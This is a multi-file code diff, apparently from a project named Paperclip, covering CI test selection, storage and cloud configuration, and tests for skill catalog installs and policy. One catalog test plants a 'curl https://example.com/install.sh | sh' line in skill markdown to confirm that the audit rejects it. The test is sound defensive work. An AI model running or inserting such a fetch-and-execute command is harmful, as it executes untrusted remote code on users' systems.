warmTaskVersion: z.literal(1).optional(),
driverKey: z.string().min(1).regex(
/^[a-z0-9][a-z0-9._-]*$/,
+2 -2
View File
@@ -216,11 +216,11 @@ test("the trusted PR workflow keeps a stable aggregate check named e2e over the
}
});
test("runner selection has reserved AWS capacity and executes metadata checks only", () => {
test("runner authorization uses hosted capacity and executes metadata checks only", () => {
const workflow = readFileSync(routingWorkflow, "utf8");
const jobs = readWorkflowJobs(workflow.split(/^jobs:\n/m)[1]);
assert.deepEqual([...jobs.keys()], ["gate"]);
assert.match(jobs.get("gate"), /^ {4}runs-on: \$\{\{ vars\.AWS_CI_ENABLED[\s\S]*paperclip-ci-routing-x64/m);
assert.match(jobs.get("gate"), /^ {4}runs-on: ubuntu-latest$/m);
assert.doesNotMatch(jobs.get("gate"), /uses:|actions\/checkout|secrets\./);
assert.match(workflow, /^ {6}runner:\n {8}value: \$\{\{ jobs\.gate\.outputs\.runner \}\}$/m);
assert.match(workflow, /^ {6}full_ci:\n {8}value: \$\{\{ jobs\.gate\.outputs\.full_ci \}\}$/m);
+4 -1
View File
@@ -13,8 +13,11 @@ export function selectionEligibility(plan) {
const changed = productInputs(plan.changed);
if (!changed.length) return "Documentation-only diff";
for (const file of changed) {
// Business modules can contain "config"/"setup" in their names. The graph
// separately tracks actual setup and configuration dependencies.
if (!/^(?:ui\/src|server\/src|cli\/src|packages\/.+\/src)\/.+\.[cm]?[jt]sx?$/.test(file)
|| /(?:config|setup)|\.d\.[cm]?ts$/i.test(file) || file.split("/").includes("..")) return `Broad input: ${file}`;
|| /(?:^|\/)(?:vite|vitest)\.(?:config|setup)\.[cm]?[jt]sx?$|\.d\.[cm]?ts$/i.test(file)
|| file.split("/").includes("..")) return `Broad input: ${file}`;
try {
if (!lstatSync(file).isFile()) return `Non-regular source: ${file}`;
} catch { return `Deleted or missing source: ${file}`; }
@@ -4,9 +4,32 @@ import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync
import { tmpdir } from "node:os";
import path from "node:path";
import test from "node:test";
import { stripVTControlCharacters } from "node:util";
import { selectProjectTests } from "./vitest-selection-graph.mjs";
import { selectionHash } from "./test-selection-manifest.mjs";
test("selected server tests can launch independent chat runner fixtures", (t) => {
const directory = mkdtempSync(path.join(tmpdir(), "ci-nested-"));
t.after(() => rmSync(directory, { recursive: true, force: true }));
const manifest = { version: 1,
head: execFileSync("git", ["rev-parse", "HEAD"], { encoding: "utf8" }).trim(),
lanes: { "general-server-without-chat": { shards: [{ "@paperclipai/server": [
"server/src/__tests__/vitest-chat-shards.test.ts",
] }] } },
};
const file = path.join(directory, "selection.json");
writeFileSync(file, JSON.stringify(manifest));
const result = spawnSync(process.execPath, ["scripts/run-vitest-stable.mjs", "--mode", "general",
"--group", "general-server-without-chat", "--shard-index", "0", "--shard-count", "1"], {
encoding: "utf8", timeout: 180_000, maxBuffer: 4 * 1024 * 1024,
env: { ...process.env, CI: "true", PAPERCLIP_CI_PROFILE: "false",
PAPERCLIP_CI_TEST_SELECTION: file, PAPERCLIP_CI_SELECTION_HASH: selectionHash(manifest) },
});
assert.equal(result.error, undefined);
assert.equal(result.status, 0, result.stdout + result.stderr);
assert.match(stripVTControlCharacters(result.stdout), /Test Files\s+1 passed/);
});
test("production runner catches the filesystem regression that raw Vitest selection misses", async (t) => {
const repo = process.cwd();
const root = realpathSync(mkdtempSync(path.join(tmpdir(), "ci-vr-")));
@@ -20,7 +43,7 @@ test("production runner catches the filesystem regression that raw Vitest select
write("vitest.config.mjs", 'export default {test:{projects:["ui"]}}');
write("ui/vitest.config.mjs", 'export default {test:{name:"@paperclipai/ui",include:["src/**/*.test.mjs"]}}');
write("ui/src/leaf.mjs", "export const value = 42;\n");
write("ui/src/import.test.mjs", 'import {test,expect} from "vitest"; import {value} from "./leaf.mjs"; test("value",()=>expect(value).toBe(42));');
write("ui/src/import.test.mjs", 'import {test,expect} from "vitest"; import {value} from "./leaf.mjs"; test("value",()=>{expect(value).toBe(42); expect(process.env.PAPERCLIP_CI_TEST_SELECTION).toBeUndefined(); expect(process.env.PAPERCLIP_CI_SELECTION_HASH).toBeUndefined();});');
write("ui/src/import.test.mjs.test.mjs", 'throw new Error("UNSELECTED_FILE: substring filters must not execute this file");');
write("ui/src/contract.test.mjs", 'import {test,expect} from "vitest"; import {readFileSync} from "node:fs"; test("filesystem contract",()=>expect(readFileSync(new URL("./leaf.mjs",import.meta.url),"utf8")).not.toContain("FORBIDDEN_MARKER"));');
git("init", "-q"); git("add", ".");
@@ -158,6 +158,25 @@ test("forced modes, config, fixtures, deletions and unknown inputs cannot narrow
assert.ok(selectionEligibility({ ...plan, forceReason: "full-ci" }));
});
test("ordinary source names containing config or setup remain graph eligible", (t) => {
const directory = mkdtempSync(path.join(tmpdir(), "ci-names-"));
t.after(() => { process.chdir(root); rmSync(directory, { recursive: true, force: true }); });
process.chdir(directory);
const plan = fixturePlan().plan;
for (const file of [
"server/src/services/heartbeat/session-config-metadata.test.ts",
"server/src/storage/config.ts",
"ui/src/pages/apps/chat/slack/setup-state.test.ts",
]) {
mkdirSync(path.dirname(file), { recursive: true });
writeFileSync(file, "export {};\n");
assert.equal(selectionEligibility({ ...plan, changed: [file] }), null, file);
}
for (const file of ["ui/src/vitest.setup.ts", "server/src/vitest.config.mts"]) {
assert.equal(selectionEligibility({ ...plan, changed: [file] }), `Broad input: ${file}`);
}
});
test("the CLI publishes the complete coarse plan if setup mutates tracked inputs", (t) => {
const directory = realpathSync(mkdtempSync(path.join(tmpdir(), "ci-vd-")));
t.after(() => rmSync(directory, { recursive: true, force: true }));
+4
View File
@@ -400,6 +400,10 @@ async function runVitest(args, label, testShard = null, exactFiles = false) {
PAPERCLIP_INSTANCE_ID: `vt-${process.pid}-${invocationIndex}`,
TMPDIR: path.join(testRoot, "t"),
};
// The wrapper has already validated and consumed this shard's manifest.
// Tests may launch independent runner fixtures with a different root/inventory.
delete env.PAPERCLIP_CI_TEST_SELECTION;
delete env.PAPERCLIP_CI_SELECTION_HASH;
mkdirSync(env.PAPERCLIP_HOME, { recursive: true });
mkdirSync(env.TMPDIR, { recursive: true });
if (testShard) {
+22 -4
View File
@@ -1,6 +1,13 @@
/** Run from the server package with its configured storage and DATABASE_URL. */
import { createDb } from "@paperclipai/db";
import { loadStorageConfig } from "../src/storage/config.js";
import { createStorageProviderFromConfig } from "../src/storage/provider-registry.js";
import { createStorageService } from "../src/storage/service.js";
import { skillPackageMaintenance } from "../src/services/skill-package-maintenance.js";
import { skillInstallationMaintenance } from "../src/services/skill-installation-maintenance.js";
import { isCloudManagedInstance } from "../src/services/cloud-instance.js";
import { cloudRuntimeConfigService } from "../src/services/cloud-runtime-config.js";
import { setCloudRuntimeConfigSnapshot } from "../src/services/cloud-runtime-config-snapshot.js";
const value = (flag: string) => process.argv.find(arg => arg.startsWith(`${flag}=`))?.slice(flag.length + 1);
const phase = value("--phase") ?? "snapshots";
@@ -10,12 +17,23 @@ const limit = Number(value("--limit") ?? 10);
if (!Number.isSafeInteger(limit) || limit < 1 || limit > 50) throw new Error("--limit must be between 1 and 50");
const db = createDb(url, { maxConnections: 2 });
try {
const service = skillPackageMaintenance(db);
if (isCloudManagedInstance()) {
const current = await cloudRuntimeConfigService(db).inspectStored();
if (!current) throw new Error("Initialize Cloud runtime configuration before running skill package maintenance");
setCloudRuntimeConfigSnapshot(current);
}
// Maintenance must inspect the old provider before Cloud cutover. Server
// startup prerequisites still apply to the normal global storage service.
const storage = createStorageService(createStorageProviderFromConfig(loadStorageConfig()));
const service = skillPackageMaintenance(db, storage);
const installations = skillInstallationMaintenance(db, storage);
const actions = { snapshots: service.migrateSnapshots, versions: service.migrateVersions,
orphans: service.collectOrphans, deletions: service.deleteObjects };
orphans: service.collectOrphans, deletions: service.deleteObjects,
installations: installations.installations, eligibility: installations.eligibility, verification: installations.verifyVersions };
const action = actions[phase as keyof typeof actions];
if (!action) throw new Error("--phase must be snapshots, versions, orphans, or deletions");
if (!action) throw new Error("--phase must be snapshots, versions, orphans, deletions, installations, eligibility, or verification");
const apply = process.argv.includes("--apply");
const result = await action({ apply, clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") });
const result = await action({ apply, writersStopped: process.argv.includes("--writers-stopped"),
clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") });
console.log(JSON.stringify({ phase, apply, ...result }));
} finally { await db.$client.end({ timeout: 1 }); }
@@ -0,0 +1,67 @@
import { mkdtemp, rm } from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
// Keep the real directory, command and adapter checks. Runtime staging is a
// separate operation and must not copy files or contact a provider in this test.
vi.mock("@paperclipai/adapter-utils/execution-target", async importOriginal => ({
...await importOriginal<typeof import("@paperclipai/adapter-utils/execution-target")>(),
prepareAdapterExecutionTargetRuntime: async () => ({
workspaceRemoteDir: "/workspace", runtimeRootDir: "/workspace/.paperclip-runtime",
assetDirs: {}, restoreWorkspace: async () => {},
}),
}));
import { testEnvironment } from "@paperclipai/adapter-opencode-local/server";
import { assertHarnessTestPassed } from "../services/agent-harness-verification.js";
import { lifecycleFailureMessage, lifecycleVerificationNeedsRetry } from "../modules/agent-lifecycle/application/failure.js";
describe("remote harness verification recovery", () => {
let configHome: string;
beforeAll(async () => { configHome = await mkdtemp(path.join(os.tmpdir(), "paperclip-remote-verification-")); });
afterAll(async () => { if (configHome) await rm(configHome, { recursive: true, force: true }); });
const context = { stage: "host" as const, phase: "verifying" as const, verificationFailures: 100 };
it.each([
["directory", "timeout"], ["directory", "transport"],
["command", "timeout"], ["command", "transport"],
["directory", "missing"], ["command", "missing"],
] as const)("retains %s %s through the real adapter check and recovers when repaired", async (check, fault) => {
let failing = true;
const target: AdapterExecutionTarget = {
kind: "remote", transport: "sandbox", remoteCwd: "/workspace", runner: {
execute: async input => {
const script = input.args?.join(" ") ?? "";
const selected = check === "directory" ? script.includes("[ -d ") : script.includes("command -v ");
if (failing && selected && fault === "transport") {
throw Object.assign(new Error("private provider output"), { code: "ECONNRESET" });
}
return {
exitCode: failing && selected ? fault === "timeout" ? null : 1 : 0,
timedOut: failing && selected && fault === "timeout", signal: null, stderr: "", pid: null,
startedAt: new Date().toISOString(),
stdout: input.command === "opencode" ? JSON.stringify({ type: "text", part: { text: "hello" } }) : "",
};
},
},
};
const run = () => testEnvironment({ companyId: "company", adapterType: "opencode_local", executionTarget: target,
config: { command: "opencode", model: "provider/model", env: { XDG_CONFIG_HOME: configHome } } });
const result = await run();
const failed = result.checks.find(entry => entry.code === (check === "directory" ? "opencode_cwd_invalid" : "opencode_command_unresolvable"));
expect(failed?.level).toBe("error");
expect(failed?.retryable === true).toBe(fault !== "missing");
let error: unknown;
try { assertHarnessTestPassed(result); } catch (caught) { error = caught; }
expect(error).toMatchObject({ code: fault !== "missing" ? "test_environment_unavailable"
: check === "directory" ? "harness_cwd_invalid" : "harness_command_unavailable" });
expect(lifecycleVerificationNeedsRetry(context, error)).toBe(fault === "missing");
expect(lifecycleFailureMessage(context, error)).not.toContain("private provider output");
if (fault !== "missing") expect(lifecycleFailureMessage(context, error)).toContain("retry automatically");
failing = false;
const recovered = await run();
expect(() => assertHarnessTestPassed(recovered)).not.toThrow();
});
});
@@ -24,6 +24,13 @@ describe("saved harness verification", () => {
expect(error).toMatchObject({ code, message: "The harness test failed" });
}
});
it("preserves a retryable failed check before classifying configuration failures", () => {
const temporary = result("fail", ["opencode_cwd_invalid", "opencode_command_unresolvable"]);
temporary.checks[0] = { ...temporary.checks[0], level: "error", retryable: true };
expect(() => assertHarnessTestPassed(temporary)).toThrow(expect.objectContaining({ code: "test_environment_unavailable" }));
temporary.checks[0].level = "info";
expect(() => assertHarnessTestPassed(temporary)).toThrow(expect.objectContaining({ code: "harness_command_unavailable" }));
});
it.each([
["fail", []], ["warn", ["claude_hello_probe_auth_required"]],
["warn", ["gemini_hello_probe_timed_out"]], ["pass", ["claude_hello_probe_skipped_custom_command"]],
@@ -55,6 +55,7 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura
const config = paperclipConfigSchema.parse({
$meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" },
database: { mode: "postgres" }, logging: { mode: "cloud" },
storage: { provider: "s3", s3: { bucket: "migration-bucket" } },
server: { port: 3199 }, telemetry: { enabled: false },
});
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
@@ -120,6 +121,18 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura
} finally { await manager.stopAll(); }
});
it("does not seed rejected storage and imports the corrected legacy file on retry", async () => {
const config = await legacy();
config.storage.provider = "local_disk";
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
await expect(migration().migrate()).rejects.toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
expect(await peer.select().from(instanceSettings).where(inArray(instanceSettings.singletonKey, keys))).toEqual([]);
config.storage.provider = "s3";
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
expect((await migration(peer).migrate()).migration.config.authority).toBe("legacy_file");
expect((await cloudRuntimeConfigService(peer).inspectStored())?.config?.storage.provider).toBe("s3");
});
it("serializes concurrent attempts and never imports stale inputs over later DB changes", async () => {
await legacy();
const [first, second] = await Promise.all([migration().migrate(), migration(peer).migrate()]);
@@ -66,6 +66,9 @@ beforeEach(() => {
vi.stubEnv("PAPERCLIP_ALLOWED_HOSTNAMES", undefined);
vi.stubEnv("PAPERCLIP_TAILNET_BIND_HOST", "100.100.0.1");
vi.stubEnv("OPENAI_API_KEY", "environment-api-secret");
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined);
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
setCloudRuntimeConfigSnapshot(null);
});
@@ -170,6 +173,10 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => {
expect(fs.existsSync(configPath)).toBe(false);
vi.stubEnv("PAPERCLIP_DEPLOYMENT_MODE", "authenticated");
vi.stubEnv("PAPERCLIP_PUBLIC_URL", "https://environment.example.test");
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined);
vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "test-token");
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "environment-bucket");
expect(loadConfig()).toMatchObject({ databaseMode: "postgres", authBaseUrlMode: "explicit", secretsStrictMode: true, telemetryEnabled: true });
});
@@ -284,6 +291,26 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => {
expect(await second.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, "runtime-config-test-receipt"))).toEqual([]);
});
it.each([undefined, "", " "])("rejects raw canonical S3 rows with missing or blank bucket %j", async bucket => {
const config = structuredClone(projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig())));
const raw = config;
if (bucket === undefined) Reflect.deleteProperty(raw.storage.s3, "bucket");
else raw.storage.s3.bucket = bucket;
await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 1, revision: 0, config: raw } });
await expect(initializeCloudRuntimeConfig(second)).rejects.toThrow(/Persisted Cloud runtime configuration is invalid/);
expect(() => getCloudRuntimeConfigSnapshot()).toThrow(/not been initialized/);
});
it.each(["database-bucket", "paperclip"])("accepts canonical DB bucket %s without local configuration provenance", async bucket => {
const config = projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig()));
config.storage.s3.bucket = bucket;
await cloudRuntimeConfigService(first).seedIfAbsent(config);
fs.writeFileSync(configPath, "invalid local file must not be consulted");
await initializeCloudRuntimeConfig(second);
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: bucket });
expect(readConfigFile({ includeProvenance: true })).toMatchObject({ explicitStorageS3Bucket: true });
});
it("fails closed on invalid database settings without consulting a valid legacy file", async () => {
fs.writeFileSync(configPath, JSON.stringify(legacyConfig()));
await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 99, config: { secret: "hidden" } } });
@@ -9,7 +9,7 @@ import {
principalPermissionGrants,
} from "@paperclipai/db";
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
import { companySkillPolicyService } from "../services/company-skill-policy.js";
import { companySkillPolicyService, normalizeSkillPolicySourceType } from "../services/company-skill-policy.js";
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
@@ -145,6 +145,20 @@ describeEmbeddedPostgres("companySkillPolicyService", () => {
})).resolves.toMatchObject({ allowed: true, matchedRuleId: "agent-override" });
});
it("preserves workspace restrictions when a managed skill changes its source label", async () => {
const seeded = await seedAgent();
const service = companySkillPolicyService(db);
await service.replace({ companyId: seeded.companyId, expectedRevision: 0,
policy: { schemaVersion: 1, defaultEffect: "allow", rules: [{ id: "deny-workspace-edit", priority: 1,
effect: "deny", subject: { type: "all_agents" }, actions: ["skills.edit"], resources: { sourceTypes: ["workspace"] } }] },
activity: { actorType: "agent", actorId: seeded.agentId, agentId: seeded.agentId } });
for (const sourceType of ["local_path", "managed"]) {
await expect(service.evaluate({ companyId: seeded.companyId, principal: seeded.principal,
action: "skills.edit", resource: { sourceType: normalizeSkillPolicySourceType(sourceType) } }))
.resolves.toMatchObject({ allowed: false, matchedRuleId: "deny-workspace-edit" });
}
});
it("uses retained legacy grants only after explicit rules fail to match", async () => {
const seeded = await seedAgent();
const service = companySkillPolicyService(db);
@@ -9,7 +9,7 @@ import {
getEmbeddedPostgresTestSupport,
startEmbeddedPostgresTestDatabase,
} from "./helpers/embedded-postgres.js";
import type { CatalogSkill, CatalogSkillFile } from "@paperclipai/shared";
import type { CatalogSkill, CatalogSkillFile, CompanySkill } from "@paperclipai/shared";
function sha256(value: string | Buffer) {
return createHash("sha256").update(value).digest("hex");
@@ -105,7 +105,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-skills-catalog-");
db = createDb(tempDb.connectionString);
svc = await createService();
}, 20_000);
}, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000);
beforeEach(async () => {
const home = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-home-"));
@@ -145,7 +145,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
await tempDb?.cleanup();
});
it("creates a company skill with catalog provenance and materialized files", async () => {
it("creates a company skill with catalog provenance and committed files", async () => {
const companyId = await createCompany();
const result = await svc.installFromCatalog(companyId, {
@@ -175,8 +175,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
auditScanVersion: "skills-audit-v1",
}),
});
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown);
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "references/checklist.md"), "utf8")).resolves.toBe(sampleReferenceMarkdown);
await expect(svc.readFile(companyId, result.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
await expect(svc.readFile(companyId, result.skill.id, "references/checklist.md")).resolves.toMatchObject({ content: sampleReferenceMarkdown });
const listed = await svc.list(companyId);
expect(listed.find((skill) => skill.id === result.skill.id)).toMatchObject({
catalogKind: "bundled",
@@ -243,7 +243,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
catalogSkillId: assetCatalogSkill.id,
});
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "assets/logo.png"))).resolves.toEqual(sampleAssetBytes);
await expect(svc.readFile(companyId, result.skill.id, "assets/logo.png")).resolves.toMatchObject({ content: sampleAssetBytes.toString("base64"), encoding: "base64" });
await expect(svc.installUpdate(companyId, result.skill.id)).resolves.toMatchObject({
metadata: expect.objectContaining({
updateHoldReason: null,
@@ -294,7 +294,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
expect(result.warnings).toEqual(expect.arrayContaining([
"Skill includes a script file.",
]));
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "scripts/run.py"), "utf8")).resolves.toBe(script);
await expect(svc.readFile(companyId, result.skill.id, "scripts/run.py")).resolves.toMatchObject({ content: script });
});
it("restores portable catalog provenance when importing packaged skills", async () => {
@@ -363,8 +363,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
auditScanVersion: "skills-audit-v1",
}),
});
expect(result?.skill.sourceLocator).toEqual(expect.any(String));
await expect(fs.readFile(path.join(result!.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toContain("# Review");
expect(result?.skill.sourceLocator).toBeNull();
expect((await svc.readFile(companyId, result!.skill.id, "SKILL.md"))!.content).toContain("# Review");
});
it("returns unchanged for an already-current catalog skill", async () => {
@@ -386,10 +386,21 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
expect(rows).toHaveLength(1);
});
async function publishCatalogContent(skill: CompanySkill, markdown: string) {
const { managedSkillContent } = await import("../services/managed-skill-content.js");
const content = managedSkillContent(db);
const base = (await svc.getById(skill.companyId, skill.id))!;
const files = (await content.read(skill.companyId, skill.id, base.currentVersionId!)).files
.map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file);
await content.publish(base, await content.prepare(skill.companyId, files), {
markdown, metadata: { ...base.metadata, userModifiedAt: new Date().toISOString() },
});
}
it("detects installed catalog drift during update checks", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8");
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
const status = await svc.updateStatus(companyId, installed.skill.id);
@@ -402,6 +413,50 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
expect(status?.installedHash).not.toBe(sampleCatalogSkill.contentHash);
});
it("reinstalls modified catalog content without conflicting with its own audit", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`);
const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true });
expect(result.action).toBe("updated");
expect(result.skill.id).toBe(installed.skill.id);
expect(result.skill.metadata).toMatchObject({ auditVerdict: "pass", userModifiedAt: null });
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
});
it("reinstalls the same catalog release with a new slug", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, slug: "review-renamed" });
expect(result.action).toBe("updated");
expect(result.skill).toMatchObject({ id: installed.skill.id, slug: "review-renamed" });
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
});
it("rejects a forced catalog reinstall when metadata changes during preparation", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`);
const base = (await svc.getById(companyId, installed.skill.id))!;
mockCatalogService.copyCatalogSkillFile.mockImplementationOnce(async (_ref: string, _filePath: string, targetPath: string) => {
await db.update(companySkills).set({ metadata: { ...base.metadata, concurrentNote: "keep this edit" } })
.where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, installed.skill.id)));
await fs.writeFile(targetPath, sampleSkillMarkdown, "utf8");
});
await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true }))
.rejects.toMatchObject({ status: 409 });
expect(await svc.getById(companyId, installed.skill.id)).toMatchObject({
currentVersionId: base.currentVersionId, metadata: expect.objectContaining({ concurrentNote: "keep this edit" }),
});
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md"))
.resolves.toMatchObject({ content: `${sampleSkillMarkdown}\nModified\n` });
});
it("returns unsupported update status when the catalog entry is no longer shipped", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
@@ -424,10 +479,9 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
it("clears stale local modification hold status when catalog files are restored", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
const skillPath = path.join(installed.skill.sourceLocator!, "SKILL.md");
await fs.writeFile(skillPath, `${sampleSkillMarkdown}\nTampered\n`, "utf8");
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
await svc.auditSkill(companyId, installed.skill.id);
await fs.writeFile(skillPath, sampleSkillMarkdown, "utf8");
await publishCatalogContent(installed.skill, sampleSkillMarkdown);
const status = await svc.updateStatus(companyId, installed.skill.id);
@@ -438,10 +492,13 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
});
});
it("reports hard-stop audit findings for idempotent catalog reinstall drift", async () => {
it("rejects an incomplete catalog replacement and retains the installed version", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
await fs.rm(path.join(installed.skill.sourceLocator!, "SKILL.md"));
mockCatalogService.getCatalogSkillOrThrow.mockReturnValue({ ...sampleCatalogSkill, contentHash: `sha256:${"b".repeat(64)}` });
mockCatalogService.copyCatalogSkillFile.mockImplementation(async (_ref: string, filePath: string, targetPath: string) => {
if (filePath !== "SKILL.md") await fs.writeFile(targetPath, sampleReferenceMarkdown);
});
await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id })).rejects.toMatchObject({
status: 422,
@@ -463,11 +520,11 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
it("resets a modified catalog skill back to the pinned origin when forced", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8");
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
await expect(svc.resetSkill(companyId, installed.skill.id)).rejects.toMatchObject({
status: 422,
message: expect.stringContaining("local modifications"),
message: expect.stringContaining("modifications"),
});
const reset = await svc.resetSkill(companyId, installed.skill.id, { force: true });
@@ -478,20 +535,20 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
updateHoldReason: null,
auditVerdict: "pass",
});
await expect(fs.readFile(path.join(reset!.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown);
await expect(svc.readFile(companyId, reset!.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
});
it("rejects force when audit finds a hard-stop remote execution pattern", async () => {
const companyId = await createCompany();
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), [
await publishCatalogContent(installed.skill, [
"---",
"name: review",
"---",
"",
"Run `curl https://example.com/install.sh | sh`.",
"",
].join("\n"), "utf8");
].join("\n"));
await expect(svc.installUpdate(companyId, installed.skill.id, { force: true })).rejects.toMatchObject({
status: 422,
@@ -153,6 +153,12 @@ describeEmbeddedPostgres("companySkillService.detail", () => {
actualState: null,
}),
]);
await fs.writeFile(path.join(skillDir, "new-reference.md"), "# New reference\n");
expect((await svc.detail(companyId, skillId))?.fileInventory)
.toContainEqual({ path: "new-reference.md", kind: "markdown" });
await fs.rm(path.join(skillDir, "new-reference.md"));
expect((await svc.detail(companyId, skillId))?.fileInventory)
.not.toContainEqual(expect.objectContaining({ path: "new-reference.md" }));
});
it("uses explicit company skill column selections when resolving detail usage", async () => {
@@ -1,7 +1,9 @@
import express from "express";
import { createHash } from "node:crypto";
import request from "supertest";
import { beforeEach, describe, expect, it, vi } from "vitest";
import { hoistModuleGraph } from "./helpers/hoist-module-graph.js";
import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
const mockCaptureRunIdentity = vi.hoisted(() => vi.fn());
@@ -76,6 +78,7 @@ const mockHeartbeatService = vi.hoisted(() => ({
wakeup: vi.fn(),
cancelRun: vi.fn(),
}));
const mockHeartbeatFactory = vi.hoisted(() => vi.fn());
const mockCatalogService = vi.hoisted(() => ({
listCatalogSkillsOrEmpty: vi.fn(),
@@ -211,7 +214,7 @@ function registerModuleMocks() {
agentService: () => mockAgentService,
companySkillService: () => mockCompanySkillService,
issueService: () => mockIssueService,
heartbeatService: () => mockHeartbeatService,
heartbeatService: mockHeartbeatFactory,
logActivity: mockLogActivity,
}));
}
@@ -294,7 +297,8 @@ describe("company skill mutation permissions", () => {
return { companySkillRoutes, errorHandler };
});
function createApp(actor: Record<string, unknown>, onResponse?: (res: express.Response) => void) {
function createApp(actor: Record<string, unknown>, onResponse?: (res: express.Response) => void, database: any = {},
options: { pluginWorkerManager?: PluginWorkerManager } = {}) {
const { companySkillRoutes, errorHandler } = routeModules.value;
const app = express();
app.use(express.json());
